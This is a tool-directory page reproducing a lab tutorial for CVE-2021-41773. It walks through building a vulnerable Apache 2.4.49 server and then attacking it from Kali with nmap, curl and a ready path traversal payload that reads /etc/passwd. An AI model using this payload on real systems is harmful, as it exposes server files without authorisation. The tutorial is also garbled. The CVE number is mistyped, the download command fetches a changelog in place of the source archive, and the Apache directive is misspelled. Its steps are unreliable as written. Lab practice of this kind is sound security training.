Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-4773 — Step-by-step tutorial demonstrating how to set up a vulnerable Apache 2.4.49 environment and exploit CVE-2021-41773 path traversal using Kali Linux and Ubuntu Server VMs. | Kitploit
Tools/GitHubGitHub/alexs18/cve-2021-4773
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubalexs18/cve-2021-4773

CVE-2021-4773

Step-by-step tutorial demonstrating how to set up a vulnerable Apache 2.4.49 environment and exploit CVE-2021-41773 path traversal using Kali Linux and Ubuntu Server VMs.

View Repository
210 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-4773

this is a practice example of how exploit vulnerability CVE-2021-4773 with a virtual machine

for this tutorial you need the next

  • virtual machine as kali linux
  • virtual machine as ubuntu server
  • install apache version 2.4.49

so lets started when you have 2 virtual machines running you will be install apache version 2.4.49 with a archive repository you can found the version this https://archive.apache.org/dist/httpd/CHANGES_2.4.49

Install and configurate vulnerability version in ubuntu server

1 the fisrt time in your virtual machine server need to run the follow command

root@kitploit:~
curl -k -L -s --compressed https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2  or wget https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2 

2 the second time you need unzip this version from apache like this

root@kitploit:~
tar -xvjf httpd-2.4.49.tar.bz2

3 install the following package

root@kitploit:~
sudo apt install build-essential libpcre3 libpcre3-dev libapr1-dev libaprutil1-dev libssl-dev

4 running execute file in the main directory (file name configure) use flag to specify install directory

root@kitploit:~
./configure --prefix=/usr/local/apache2

5 compile the vulnerability versión

root@kitploit:~
make

6 install the vulnerability versión

root@kitploit:~
make install

7 review the version

root@kitploit:~
ls /usr/local/apache2

8 start the proccess

root@kitploit:~
/usr/local/apache2/bin/apachectl start
  

9 verify the procees

root@kitploit:~
ps aux | grep httpd

10 configure the vulnerability find the file /usr/local/apache2/conf/httpd.conf and configure the directory admin find the tag directory and change Require all denied to

root@kitploit:~
  Required all granted
  

find the tag Files .ht* Required all denied to

root@kitploit:~
  Required all granted

the fisrt change is to the exploit vulnerability in the local environment and the second is the expose in the real envionment

Exploit vulnerability in kali linux

1 scann the ip addrees with nmap with the next command

root@kitploit:~
nmap -sV ip_address

2 make a curl or get tho test the apache server

root@kitploit:~
curl ip_address or make wget ip_address

3 review how to exploit the vulnerability in the next page if you want to understand the sintax

root@kitploit:~
https://www.picussecurity.com/resource/blog/simulate-apache-cve-2021-41773-exploits-vulnerability

or just use the next payload

root@kitploit:~
http://$host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Download Tool